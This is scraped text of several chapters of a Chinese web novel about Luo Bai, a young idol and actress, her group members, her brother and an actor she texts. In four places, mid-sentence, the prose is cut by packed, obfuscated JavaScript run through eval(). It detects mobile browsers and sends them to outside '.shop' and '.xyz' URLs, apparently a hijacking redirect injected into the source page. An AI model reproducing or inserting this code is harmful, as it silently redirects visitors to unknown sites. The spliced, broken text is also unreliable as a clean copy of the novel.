心满意足地喝到冰阔落,简言之往墙上一靠,懒洋洋地打量了她一下,奶粉色的毛衣和灰色的裤子,还挺温柔。 “从哪儿来啊?” “水晶直播间。”洛白说着又咕噜咕噜喝了好几口水。 简言之拧上瓶盖:“刚下播回来,嗓子都要哑了吧?” “还好。都是主播在说话。” 简言之还想跟她说话,远远就传来工作人员的喊声:“简言之,回来对流程!” 今年简言之不仅自己发个人专辑,又有和前辈的合作曲目,还要参加SINE的亚洲巡演,中间还穿插着各类综艺。他几乎从年头忙到年末,好在他精力旺盛能量充沛,很少会觉得忙不过来。 “来了。”他应了一声,“那我走了啊,拜——” 洛白又喝了一大口水,转身回COSINE的休息室。这会儿其他人还没来,屋里就只有她一个人。 所幸洛白喜欢清净,她先是在桌上趴了一会儿,恹恹地闭目养神。大约过了十分钟,她看了看表,起身走到全身镜前回顾了一下舞蹈动作。 新专辑刚发,明天就要上综艺宣传。 看久了镜中的自己,洛白看着那张脸,慢慢觉得陌生。 一如既往的黑色长发,双眸有郁色,和妈妈很像的鼻子,被毛衣裹住的身体。 如果她当初——没有出道,现在会过着什么样的生活呢。 “我解约了。” “为什么?” “ID没有我的位置。” “那我……” “你留下吧。洛白。你属于这里。” 明明相隔不过半米,她却觉得离他有千里远。 那双眼睛狭长,眼尾微翘,透着一种凉薄的意味。 “……为什么?” 为什么你这么轻松。 为什么你这么轻松地就抛下了我。 她当时好像是想这么问。可是没有问出口。 只是眼睁睁杵在那里看着他。似乎有一汪水涌上来,漫过她,吞没她。 “洛白,你实力这么强,以后有的是出道的机会!可我就不一样了,要是不把握住《FROMID》的机会,就没有机会了。” 顾若敏拽住洛白的手腕用央求的神色望着她。 洛白把自己的手抽出来:“为什么……是我。” 她看着她的神色极为冷淡。 顾若敏总觉得这话不是对她说的,但她还是说:“你是综合排名前二十里年纪最小的,你来公司也最晚,以后还有机会不是吗?我比你想出道多了,我来公司也更早,年龄也比你大,我更适合上节目,对吧?” “如果你很想出道,为什么你排不进前二十。”洛白看了她一眼,“团体练习,你缺勤过不少次吧。” “你——你凭什么否定别人的努力啊?”顾若敏脸色涨红,“你知道为什么你总是格格不入吗?因为你总是摆出这样一副清高的姿态啊。你根本不适合团体生活,为什么要以组合出道?” 那时洛白靠在楼梯间墙角。 刺眼的天光从侧窗照进来,很灼热。 她其实听不见顾若敏在说什么,她仍沉浸在那个无疾而终的故事里。 她站在那里,只觉得从此以后人生只是一潭死水。 所有的一切,都没意思透了。 “让给你了。”她最后这么说。 那以后的记忆就变得断断续续。 她大概是浑浑噩噩地度过了那之后的两个月。 洛白第一次独自走进ID老板刘培的办公室,就是在那两个月以后。那时《FROMID》的录制已经接近尾声。 “孩子,你的条件很好,天生适合吃这碗饭。只是野心太小,注意力总是会被无关紧要的事情分散。” “把唾手可得的机会让给竞争对手,现在知道后悔了吧?” 十八岁的洛白把解约合同放在桌上推过去:“刘总。智元哥说这个要你签字。” 刘培瞥了眼桌上的合同,笑着摇摇头:“你啊你,刚说了你,现在又开始了。我告诉你吧,你会作为COSINE的一员出道。以后不要再动不动就撂挑子不干了。” “……我不应该在名单上。” 刘培的视线扫过桌上的出道名单:“这四个,除了佳念没一个能唱的。而你的唱功却是公司近十年来选拔的练习生里最优秀的。” 他又看向洛白:“公司看中你,给你机会,知道了吧?以后认真工作,要对得起公司对你的苦心栽培。” 洛白说:“我不想出道了。” 站在刘培身前的少女没有因为他的话有丝毫动容。身形消瘦,神色寡淡,一点儿生气也没有。 “你以为我不知道你在想什么?最近两个月,一次练习你都没参加吧?你想想自己荒废了多少?”刘培几乎是恨铁不成钢地瞪了她一眼,打开手机调出和一个朋友的聊天界面,点进图片轮番展示给她看,“你自己看看。你在意人家,人家早就在新东家活得风生水起了。就你一个人还在这儿犯傻。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192169|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没什么内容。只是剧组的路透照。 新人男演员穿漆黑古装,骑在马上,一派春风得意。 洛白的心脏像是被人狠狠捏了一下。 她的身体晃了晃,勉强站稳。 刘培深深叹了口气:“早就和你们千叮万嘱过,把心思放在事业上,不要乱来。不然到最后吃亏的还是自己。现在懂了吗?收收心准备出道吧。” 洛白几乎丧失意志:“刘叔,你签字吧。” “可以啊。违约金五百万。”刘培说,“你什么时候有钱交了,我就给你签这个字。” [?????] [凭什么洛白可以不参加节目就出道] [如果早就要出五人团,为什么出道位第五的安妮要被淘汰] [这个洛白是ID皇族吧] [无语……洛白和其他四人完全格格不入] [刘培什么死吗操作] [美则美矣毫无灵魂] [替安妮难过] [还是四宝独美吧] COSINE团体直播。 洛白坐在角落,对满屏飘过去的恶评视而不见。 趴在镜头前的顾若敏正在和弹幕互动:“‘敏敏在喝什么?’啊,宝宝,我喝的是乌龙茶呢。‘洛白凭什么出道’——啊。” 她煞有介事地看了眼洛白。程佳念赶紧打马虎眼,笑着说:“大家要不要做一下舞蹈接力的挑战呀?” 直播刚一结束,#顾若敏直播#的词条就上了热搜。 她不小心念出那条粉丝评论的举动被视作为没能出道的安妮打抱不平。 “不好意思呀,洛洛。刚才看走眼了,不小心念到恶评的。”顾若敏说。 洛白淡淡说:“我无所谓。” 顾若敏讨厌她这副姿态,撇撇嘴小声说:“明明就是心虚吧。” “我不心虚。”洛白说,“倒是你,以后不用装,想念什么都可以。” 顾若敏脸色稍变:“我可没有装。反倒是你才装吧,嘴上说自己不想出道,结果还不是上赶着出道了。” 洛白淡淡看了她一眼:“如果不是我,你再怎么上赶着也出不了道。” “少自以为是了,没有你我照样能出道。” “是吗。那以后开麦演出的时候,就别再让我给你垫音了。” “……” 一开始她的想法很天真,只是想等赚到违约金就离开。 那个时候哪里会想到后来就这样年复一年地作为艺人生存了下来。 - “砰”得一声,程佳念没好气地推门进来:“又是要为了去录恋综,缺席彩排了。怎么回事啊这个顾若敏。” 金灵跟在她身后,扬着漫不经心的笑意徐徐走进来:“你总要让人想办法捧红自己嘛。毕竟我们团人气差距太大了,换谁都是坐不住的。” “陈立新哎,最近他那个《王妃太倾城》在网上蛮火的。”林晓说,“那当然趁热打铁一下嘛。” 金灵撑着下巴,刷着手机道:“对了洛洛,我上次让你帮我问乔时青下一部拍什么的,你问了么?” 嗯? 啊——对了。 洛白回过神:“啊,我现在就问。” 她打开微信聊天界面,点击“乔时青”三个字,来不及多想输了一行字“方便问一下你下一步戏打算接什么吗”。 连忙顿住。 有一个错别字。 改为“方便问下你下一部戏打算接什么吗”。 迟疑了几秒,她才把消息发送出去。 约莫过了一分钟,手机响了一下。 [乔时青:你怎么关心起这个了?] 30. 聚餐 又聊几句,她对金灵说:“他下一部戏拍刘昌导演的《爻起腾蛇》。” 金灵歪了下脑袋:“刘昌是什么人?我只听说过刘道。” “是一位比较冷门的导演,虽然他拍的戏不多,但也是拿过东京电影节奖项的。” 刘昌算是洛白私心比较喜欢的一位小众导演,他拍的三部电影她都看过,虽说成本不高,但都有一种蓬勃的灵气。就连洛白的专业课老师也对刘昌赞不绝口,对他的潜力大加肯定。 真是没想到乔时青会和刘昌合作。 “冷门导演?就是说不红咯?”金灵飞快地在搜索栏里输入了刘昌的姓名,扫了几眼忽地笑了下,“这乔时青还真是奇怪——行吧。” [乔时青:我当场就叫他别拍了] [乔时青:他还跟我生气] “你们聊什么呢,笑得这么灿烂?”林晓不知什么时候来到洛白身后。 洛白立时抬起脸,很快地摇头:“没有。” 金灵:“什么没有,你的嘴角都压不住了。” “对面可是乔时青哎。”程佳念嘿笑一声,调侃道,“谁和他聊天不会笑得跟花儿一样。” “我不是很想笑的,我只是——”洛白苍白地申辩了一下,发现自己辩无可辩,最后只好说,“只是觉得他很搞笑。” 程佳念扑哧地笑了出来:“你当他综艺咖啊,还搞笑。” “真的很搞笑。”洛白小声说,看着手机屏幕上他发来的消息,仿佛就能听见乔时青那种理直气壮堂而皇之的声音。 “哎,你对他有意思么?”金灵倾身过来,趴在桌上仰头看着洛白,“追一追?我可以教你几招。” 洛白想都不想就说:“没有。” 金灵伸了个懒腰:“现在你们刚合作了一部戏,正处在关系最亲近的时期,怎么不能趁热打铁?” “你还教唆洛洛呢,她一个上升期的小花,要是爆出绯闻,败坏路人缘多不好。”程佳念翻了个白眼。 “拜托,对方可是乔时青,上嘉一哥哎。而且他家里背景很深的,要是能和他谈恋爱,百利无害啊。就买点那种因戏生情的通稿,到时候营销营销CP,马上就红了。”金灵信手捏来地说。 洛白听见她说这些,不由得有些恍惚。 虽然洛白从来就没有名利心,但从小到大,她都习惯于满足周遭的期待。 她在学校里接受正统严肃的学院派教育,被告戒要爱惜羽毛、切勿浮躁,可一离开校门,经纪人便想法设法地要推红她。两种状态很割裂。她始终处于一种矛盾的生活状态,难以自洽。 而金灵却是不一样的,她与她截然不同。 金灵想红,从来不掩饰自己昭彰的野心。她年少成名,美艳又聪明,深谙娱乐之道,如鱼得水地活在这个光鲜而危险的圈子里。 她才是天生的女明星。 - 次日。 “上午代言谈得还顺利吧。徐正量导演想找你去他戏里客串两个镜头。”沈碧华踩着黑色高跟风驰电掣地走进休息室,见乔时青正坐在沙发上,端着个平板看剧本,“对了,《暗查》的剧本看过了吧?” “看着呢。”乔时青大约又翻了几页,剧本到底,他才说,“这本子挺好的。之前听齐彷说他有意向接触这类影片。我一会儿帮忙向导演推荐一下。” “这可是对标明年国庆档的大片啊!”沈碧华一听急了,“你给齐彷送什么大饼啊?而且他拍电视剧的,哪里有我们优势大?” “所以才需要我们的引荐。”乔时青很淡定地回道。 “不是,乔时青,你把《暗查》推了,那你下一部打算拍什么?” “《爻起腾蛇》。” 沈碧华想吸氧,她憋着口气上不来:“你是不是想气死我?” “别气。”乔时青利落地套上大衣,“下班吧,华姐。” “?你要去哪儿?” “我也下班了。” “……” 乔时青径直走出上嘉大楼。 今天的气温不算低,他把车开出停车场时,从车窗透进来的余辉还是温热的,叫他心情不错。汽车扬长而去,直奔Freesia,位于新陵三环的一家高定花店。 除却为顾客提供定制甄选花束外,高级花艺师开设的私人花艺课也是让Freesia备受名媛太太们推崇的原因之一。 上个月起宁岚女士不知道受了什么刺激突然萌发了学习插花的念头,决心每周赶来新陵上花艺课,恰好有个在新陵工作的儿子能叫来作司机差使。 乔时青驱车赶到Freesia门口时,一身卡其色风衣的宁岚女士一手握着手拿包,一手调好自己的帽子,而后半是漫不经心地看了下表。 “怎么今天下课这么早?” 等她打着哈欠坐进车里,乔时青便问道。 “今天她们家办了个和DoubleS的联名花艺展,李老师请我看,也就那样吧,没什么名堂,索性早点走。”宁岚说,“你送我去盛况,和你方阿姨一起吃晚饭。” 盛况集团总部设在新源。 今天恰好董事长在新陵办公,自然要趁机聚一下。 方阿姨照样是雷厉风行般走在前头,后面跟着她慢悠悠的儿子。 “啊呀,方董,个把月没见,又气派了啊。”宁岚笑容满面地与她寒暄。 “哪有啊我都老了。”方阿姨看向乔时青,“哎哟阿青,我都快一年没见到你了——你是不是又长高了啊?” “阿姨,我的骨骺线早就闭合了。”乔时青说。 “妈,直接说帅就完事了。”方阿姨的儿子方渊上前一步抱住乔时青,一巴掌拍在他后背,“我可太想你了。” 乔时青还没说什么,方阿姨一把拎着他的后领把方渊从乔时青身上扯下来:“哎,大庭广众的,你注意点。” 宁岚干笑着说:“小方渊还是这么率真哈。” 简短寒暄之后四人踏进包厅,屋里都是熟面孔。乔时青陪着宁岚入座,晚辈纷纷和她打招呼。 “宁姨,好久不见呀!” 宁岚笑着说:“沐沐,一段时间不见又漂亮了呢。” 林沐不好意思地笑笑,目光不住地瞥向乔时青。后者看她一眼:“看我做什么?” 林沐说:“这——这么久不见,还不许我看看你了?” 周坤回憋不住嘲笑她:“眼珠子都要掉出来了。” 林沐瞪他一眼:“你去死。” 方阿姨看着他俩打闹的样子就说:“别说,我看你俩还挺般配的。” 宁岚也说:“坤回他爸要是知道自己有沐沐这样的儿媳妇,不知道有多高兴。” “我才看不上他呢。”林沐撇嘴,目光在桌上扫了一圈,意有所指地说,“我自己有打算。” 周坤回知道她言下之意,话里的调侃意味更重:“那我劝你还是先改改你的臭脾气,学学人家夏然姐,那叫一个优雅知性。” 林沐看了眼对面的夏然,一身小香风,精致又优雅。她再看一眼坐在她身边的乔时青,只是简单的黑格纹衬衫,就显矜贵大方。两人坐在一块,连画面似乎都养眼了不少。 从小就听长辈们说他们俩很般配,要不是夏然已经有未婚夫了,长辈们肯定是要撮合他俩的。 大概是看林沐面露沮丧,方渊立马安抚着说:“我就喜欢沐沐这样的,很可爱啊。” 林沐向他投去一个“算你有眼光”的眼神。 夏然幽幽地说:“你言下之意是不喜欢我这样的?” 方渊悻笑:“我不是这个意思嘛。” “喂。”林沐弯下身扯扯周坤回的衣角,压低声音,“那件事到底是不是真的?” 周坤回也弯下身,对她说:“正主就在这,你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14210009|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不自己问?” 林沐说:“宁姨还在这儿呢。” “不在你也不敢问吧。”周坤回嬉笑着说。 “你说不说?”林沐掐住他的虎口就用力拧了一把。 “哎哟哎哟。”周坤回吃痛地喊出声,大家的目光瞬间被吸引过来。 宁岚问:“怎么了坤回?” 林沐没松开他,笑着说:“他腰痛。” 方阿姨啧啧啧地摇头:“这么年轻,腰就不好了。” “纯造谣啊这是。” 没法把自己的手从林沐的魔爪里挣脱出来,周坤回只好压低声对她说:“哥实话跟你说了吧,传闻都是真的。” “我不信。”林沐猛地甩开他。 “你不信你还问?” 林沐深吸一口气,看向乔时青,话到嘴边,还没张口就见对面的男人突然站了起来。 他拎起外套离席:“你们慢慢吃,我还有事,先走了。” “嗯?菜刚上齐呢?怎么就走了?”宁岚莫名其妙。 “晚点我让陈特助来接你。”乔时青拍拍她的肩膀,跟方阿姨打了声招呼就头也不回地走了。 “怎么回事啊这个乔时青!”林沐发作道,“饭都没吃就走了。” 方渊默默地说:“好像是因为有人要请他吃饭。” “工作忙,有些应酬也正常。”方阿姨见怪不怪地说。 - “现在有空的话我请你吃晚饭。” “现在有空的话我请你吃晚饭?” “嗯。现在有空的话我请你吃晚饭。”方渊点头,“我确定我看到的是这样。” 林沐摸着下巴:“什么人找他吃饭他咻得一下就去了?” 坐在后座的夏然低头解锁手机,随口说:“新欢呗。不都说他要恋爱了么。” 周坤回有点无语地看她:“不是我说,然姐你怎么也跟着他俩凑热闹?” 夏然凉凉地说:“你们三个跑得倒是快,难道就留我一个人陪两个长辈吃饭?” “……也是。”周坤回又看向前座的两人,“你们两个多大了还跟踪别人啊,变不变态啊。早点回家不好吗?” 林沐:“你想回家你回呗。别跟着我们不就得了。” “我的车,林小姐,这车,我的。” 方渊又踩了下油门,紧紧跟着前面的宾利:“我倒要看看这个洛白长什么样。有什么魔力。” 周坤回:“人家一公众人物,你好奇你上网搜搜不就得了。” “眼见才为实,没听过这道理?”林沐说。 “哎,他停下来了。”方渊也跟着靠边停住。 谁想到那人不光停了车,还下了车,还大步流星地朝他们走了过来。 “啊啊啊啊过来了过来了。” 方渊和林沐手忙脚乱地想拿点什么把脸挡住,还没找到遮挡物,车窗就被人叩了几下:“下车。” 方渊只好干笑着打开车门,慢吞吞地下了车:“嗨……” 乔时青一手搭着车门,扫了车里一眼:“人倒是挺齐。” “都是林沐——!”方渊开始推锅,“都是林沐逼着我跟踪你的。” 林沐探出脑袋呵斥他:“呸!明明是你自己乐意的!” 乔时青懒得跟他俩多说,打开后座车门对周坤回说:“你来开吧。” 周坤回昂首挺胸地回到驾驶座,对被抓包的两人说:“看到吧,早让你们不要鸠占鹊巢了。” “那我送这仨祖宗回去了啊。”他向乔时青说。 “嗯。路上小心。”乔时青把方渊塞进后座,砰得关上门,刚一转身就被叫住。 “阿青。”林沐还是探出脑袋,“你到底去找谁?” 乔时青说:“你觉得我找谁——” “我觉得——” “我就找谁。” “……” 31. 见面 中午。 是离ID不到四公里的中餐厅。 三个男生坐在包厢里,其中两个很是紧张。 “你们看我发型乱了没?”张合气摸着头问。 姜誉飞黑着脸抱臂坐在他们对面:“寸头有个屁的发型。” 前段时间这姜誉飞的姐姐就答应空了要请他们吃饭,现在总算是等到了。应景满怀期待地搓搓手:“好久没和女生吃饭,我不由有一些紧张。对了,你姐比你大几岁?” “两岁。”他很快说。 “噢?”张合气笑嘻嘻地搓了搓手,“看来有戏——” “妈的你找打就直说。” “好好好,知道你姐控——唔——唔——”张合气话还没说完,嘴巴就被双眼瞪大的应景用力捂住了。 “有明星——好像是洛白!”应景的嗓子像是被捏住了,声调拔高了几分,“往那看!” 张合气立刻顺着他的目光朝包厢外看去,尽管只是穿着浅色牛仔裤,外搭了件针织衫,气质不凡的女明星仍然显眼而出众,一眼就能被甄别。 “我靠。走运了。”张合气马上抓起桌前的手机,手指不稳地打开相机,刚举起来还没对焦就被对面的姜誉飞抢走了。 “拍你妈,不许拍。”姜誉飞瞪他一眼道。 “走过来了,靠靠靠,走过来了。”应景动作飞速地整理了下着装,还清了清嗓,低声默念他一会儿要说的台词,“咳咳,可以给我签个名吗。 ” 万万没有想到,和侍应生交谈过后,这位女艺人直接走进了他们这个包厢。她笑容浅淡得体,声音清甜:“你们好。我是姜誉飞的姐姐。我叫洛白。” 姜誉飞的两个室友以惊人的整齐节奏仰头四十五度盯着面前的女人,他们双唇微张瞳孔放大手臂微抖,胸腔有起伏但呼吸却无意识地屏住了。 “……” “……” “喂,说话啊你们。” “哦哦哦——洛——姐——姜誉飞姐姐好,我叫张合气……”张合气率先反应过来,猛地站起身把双手伸出去瞥见姜誉飞杀人的目光又赶紧收回来在裤子上蹭了蹭,干笑了几声,“合纵连横的合,和气生财的气。” “我、我叫应景。很应景的那个应景。姐姐快坐,快坐。”应景嘴角快要咧到耳根子,他尽量克制着自己,以便表现得像个正常人。 “谢谢。”洛白的表情没有变化,微微弯身在姜誉飞身侧坐下来。 这俩姐弟,一个抱着臂臭着脸,一个直着身淡着眸,组合在一起给应景张合气两人的冲击使他们久久无法平复。 二人面面相觑,都发现了彼此的瞳孔以可见的幅度抖动着。 ——原来姜誉飞的姐姐是洛白! 这就可以完美解释两件事:一、为什么姜誉飞会和吴韬打起来——因为吴韬对洛白出言不逊,而姜誉飞是个姐控;二、为什么姜誉飞是个姐控——因为他姐是洛白。 张合气与应景看着款款落座身姿绰约的姜誉飞姐姐,瞬间就理解了一旁那只喷火霸王龙的姐控情结。 “哈哈哈哈哈哈。”张合气先是很硬地笑了几声抬高一些气势,“那什么,姜誉飞姐姐,原来你这么年轻。” “是啊,姜誉飞姐姐。”应景接过话头,“甚至我还和你同岁。我复读了一年。” “既然是这样,就不要叫我姐姐了。”洛白说。 “好嘞,洛洛,其实我很喜欢——” “你再叫一遍?”姜誉飞脸颊微侧,双眼稍稍眯起,一副随时准备进攻的姿态。 “咳咳咳咳咳,我是说,洛、姐——洛老师。我是你的粉丝,我很喜欢你的戏,还有歌!” 洛白失笑:“你们不要理他。誉飞他脾气不好,难为你们了。” “哎,姐姐你说的这是什么见外的话!”张合气摆了下手,“我们比他大几个月,当然有义务照顾他,我们都把他当亲弟弟。” “臭不要脸。”姜誉飞这么评价。 “姜誉飞。”洛白瞥了下他,“你收敛点。” “你今天都待在这?”他问。 “吃完饭就去赶通告。” “每次都这样……” “姐姐是要去拍戏吧?”张合气探身问道。 洛白见姜誉飞耷拉下眉眼自顾自吃着饭,本想和他再说些话,但还是转过头来和他的室友交谈:“是去参加一个节目,宣传下个月要播的戏。” 一场午饭下来,姜誉飞除了开头叫嚣几句,几乎就没怎么插过话,破天荒地安静。 直到饭后洛白与他们一起出门,和他们告别,姜誉飞却先一步打开四吉的车门坐了进去。 “砰”得一声,把四吉吓了一跳,他转过身去看见来人,把原来的话咽了下去:“原来是,是弟弟啊,好久不见哈哈。” 洛白若无其事地看向不明所以的那二人,笑了一下:“我把你们送回学校吗?” “不用了不用了,我们打好车了,姐姐你去工作吧。”张合气抬眉看下姜誉飞,“姜誉飞他……” “他是想送我。”洛白说。 “那我们就不打扰你们了——最后能麻烦你给我签个名吗?”应景掏掏口袋,摸遍全身就掏出来一小包餐巾纸,“啊这……” 洛白见状便说:“不介意的话,我写在餐巾纸上也可以。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223194|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>给应景签了名,目送他们上车,洛白才转身坐进后座,对姜誉飞说:“安全带。” 姜誉飞面露不耐,还是一手后抬拉过安全带精准扣上。 两人安静了一会儿,姜誉飞说:“你怎么就穿这么点?大冷天你不冻感冒不爽还是怎么?” “我一般都待在室内,不冷的。”洛白端详着他,“你脖子那边怎么了?” “训练时不小心擦到的。”姜誉飞捂了下伤疤,撇过头,想起什么又问,“你最近有按时吃药吧?” 洛白顿了下:“……嗯。” 姜誉飞转头盯着她的表情,直觉告诉他她在撒谎:“你是不是又骗我。” 双相情感障碍常用药虽说可以稳定情绪,但也可能会带来发胖、胃痛以及视力模糊等等副作用,不同的患者体感不同。而对她而言,每次吃药就一定会导致嗜睡晕眩、耳鸣手抖、肌肉疼痛、发胖、精神恍惚的副作用。作为艺人,她不可能用这样的状态去参加通告。 目前组合刚发新专辑,少不了舞台表演,加之她又要开始跑《封玄境》剧组的剧宣活动,身材形象以及饱满的状态都很重要。她没法为了不一定会发作的病情而吃那些一定会有副作用的药。 洛白沉默了好一会儿说:“过几天就吃。” “你——”姜誉飞又急又气,碍于四吉还在前面,他只好说,“我懒得管你!你爱怎么样怎么样好了。” “放心吧。”洛白安抚他,“我的身体我心里有数。” 姜誉飞叹气,好一会儿才说:“该休息就休息。别以为自己很抗造。” 洛白现在的话语权不大,很多行程不是她说推就能推的。 但她还是笑了笑:“好。我知道。” 手机震动了一下。 [乔时青:今天在新陵?] 洛白低头打字。 [洛白:嗯。] [乔时青:这个点,吃饭了吗?] [洛白:刚和我弟吃了饭。] [乔时青:说起来,我记得某人之前还说要请我吃饭的] “你跟谁聊天呢?”姜誉飞看她捧着手机忍俊不禁,凑过去看,刚看到一个“乔时青”的备注,手机就被锁屏了。 “啊。没有。”洛白把手机塞进口袋,“一个同事。” “同事?”姜誉飞拧起眉毛,“和同事聊天你笑什么?” 洛白含糊地说:“就随便笑笑。” “到了。洛洛。”四吉把车停在录制地点前。 “好。”洛白拍拍姜誉飞的肩膀,“那先不和你说了。我先去工作了。让四吉送你去学校吧。” “哎他到底——” 32. 综艺录制 《KeepGoing》是当下最火的一档户外真人秀节目,常驻MC有3位,每一期会请各类嘉宾来进行游戏。 《KeepGoing》的最大特色就在于几乎每一期都会邀请一个剧组,通过巧妙的环节设计促进剧组演员之间的化学反应,笑点不断、剪辑流畅、后期水平高,都是其热度居高不下的原因。 今天受邀参与录制的嘉宾便是《封玄境》的主演们。男一齐彷,男二安灿宗,女一范沁,女二林芸晴,这四个人全程参与录制。而女三洛白和男三林珂礼只在节目最后的三分之一露面,作为补队队员出场。 虽说是补队队员,但还是要提前待定。洛白在待机室里换好了衣服,工作人员给她画了个淡妆便离开。大概等到三点多,编导就进门,要带她前往录制地点——银杏路尽头的一家餐厅。 洛白跟在编导身后,似乎听见他跟自己寒暄了几句。但她的耳朵嗡嗡作响,没怎么听进去,只是跟着指引一路到餐厅门口,对早一步等在一边的林珂礼微微弯了弯腰算是打招呼。 餐厅里各种设备已经架好,阔别许久的前同事们和主持们也早在镜头前就坐,导演正在和他们介绍新的组队方式。 “啊,就是说我们这两队各会补进一名队员是吧?” “然后我们三队都有三个人了。” “洛洛,你一会儿从这个点走进去。”工作人员小声提醒了一句,给她递上一件蓝色的外套,是队服。换上外套,洛白伸手理理有些乱掉的头发,吐了口气等着导演的指令。 “下面欢迎蓝队的助阵队员——” 洛白应声走进镜头里,眩目的灯光混着一阵哄声涌过来,她笑了出来,脑袋突然有点眩晕。 “是小洛白!我就知道!”安灿宗的声音盖过了别人,他冲她招手,很是振奋。 洛白看向导演,导演便说:“可以坐在那里。” “哇,你们真的演了一对吗,为什么小洛白很不情愿坐在你旁边。”主持人们哈哈大笑起来。 “她只是傲娇而已。”安灿宗仰起脖子说。 这是一个大圆桌,三个队伍分别坐在一起。坐在洛白和齐彷中间的安灿宗是蓝队最活跃、最有综艺感的。他是个自来熟,最是咋咋呼呼,惹得其他人一直在调侃。 “感觉灿宗和蓝队的气质很不符合啊。”范沁笑着说。 “是啊,他一个人说话的声音就完全盖过别人了。”林芸晴也跟着说。 在众人说话的间隙,侍应生已经上好了菜。现在还不到饭点,不过其他人录了一上午的节目早已饥肠辘辘,看着满桌子色香俱全的菜肴,都一副食指大动的表情。 “可以直接吃吗?”MC问道。 导演说:“每组面前各有五道菜,请大家按照上菜的顺序吃饭。率先吃对的一组可以点甜点。” “那我们不吃甜点了!”安灿宗抢道。 “啊,好想吃甜点呀。”林芸晴撇着嘴说。 导演继续说:“甜点对应着后续的任务。最先拿到任务卡的队伍可以离开。” 游戏铃声一响,另外两队纷纷拿起筷子。 安灿宗看了下坐在自己左边的洛白,又看了看坐在自己右边的齐彷——这两个人都是闷骚怪,没有什么综艺感,节目想好看还是得靠他。 “总之先随便吃点什么,说不定就对了。”安灿宗按下桌前的铃铛,“蓝队回答!” 说完,他就一鼓作气吃了一块糖醋排骨、一个生煎包、一块红烧肉、一筷子油焖虾、一个蒸扇贝。 “有一道菜的顺序答对。” 回答失败的警报声一响,桌前的喷气口就猛地喷出一阵冷气,吹乱了安灿宗的发型。 “咳咳咳咳。”安灿宗好不容易把扇贝咽下去,理了理头发,“至少,味道还不错……” 想着不能什么事也不做,洛白迟疑着拾起了筷子。但那时她看见齐彷也拿起了筷子,立马松开了手。 然而齐彷也放下了筷子:“你先吧。” 洛白摇头:“还是,还是你先吧。” “哎哟你俩谦让什么呢?这可是比赛啊!”安灿宗嘴角抽了抽,冲齐彷抬了下下巴,“哥,你打个样。” 齐彷还是看着她:“那我……?” 洛白连连点头:“请吧。” “我只记得最后两个是排骨和生煎包。”齐彷说话时不急不徐的,很是冷静,他夹菜进食时像是受邀来的品鉴专家那般优雅。 “有两道菜的顺序答对。” 在冷气又把他们喷了一遍后,轮到了洛白的作答时间。 实际上她清楚地记得正确答案,但这种时候一次性答对或许不是最优解,观察了一下别的队伍的进度后,她轻声细语地说:“最先端上来的应该是扇贝。” 这时她听见齐彷轻轻笑了一下:“恩。那这样最多只要再试一次可以就通过了。” “有三道菜的顺序答对。” 冷气的动静总是能把洛白吓到,她顶着凌乱的发型艰难地咽下了最后一口生煎包。 蓝队的第四次也是最后一次答题由安灿宗完成,接着他们的面前端上来了三大份甜品——豆乳麻薯千层、红豆双皮奶、芋圆抹茶绵绵冰。 “哈!这次我记得顺序!”安灿宗说。 “这次只要吃完就可以了。”导演说。 安灿宗:“……” 一看见摆在自己面前的这一大碗沙冰,洛白的胃部和小腹就不由得隐隐作痛,她定了定神,正要拿起勺子,齐彷忽然说话了。 “我想吃你这个。” 洛白一下子还没反应过来:“这是抹茶味的……” 齐彷静静等着她说完话,可惜她的话说到一半就戛然而止,于是他又问:“不可以换吗?” 于是洛白把自己的托盘推过去,换过来了他的双皮奶。 替他们端盘子的安灿宗有些郁闷地对齐彷说:“我也想换,我这个千层实在太大了。” 齐彷看了他一眼,当着安灿宗的面挖了一大勺绵绵冰吞了下去。 安灿宗:“……” 导演憋着笑说:“友情建议吃得越快越好。” 《KeepGoing》录制结束后,已经是晚上七点了。 嘉宾们在节目组的公司大楼里录完了最后一段内容后,大家就解散了。 “小洛白,你要不要搭我的车回去?”一片散乱的人潮里,安灿宗凑过来问她。 “不用了。我让助理过来就好了。” 安灿宗闻言,一双眼睛刻意眯起,凑近她,不等她后退就伸手掐住了她的脸蛋,故作凶狠地说:“好你个洛白。才几个月不见,就跟我这么生分了。你这样我们这对CP还怎么营业宣传?别忘了你荧幕初吻的对象可是我。” 洛白拍掉了他的手:“你说这个做什么。” “免得你翻脸不认人嘛。”安灿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 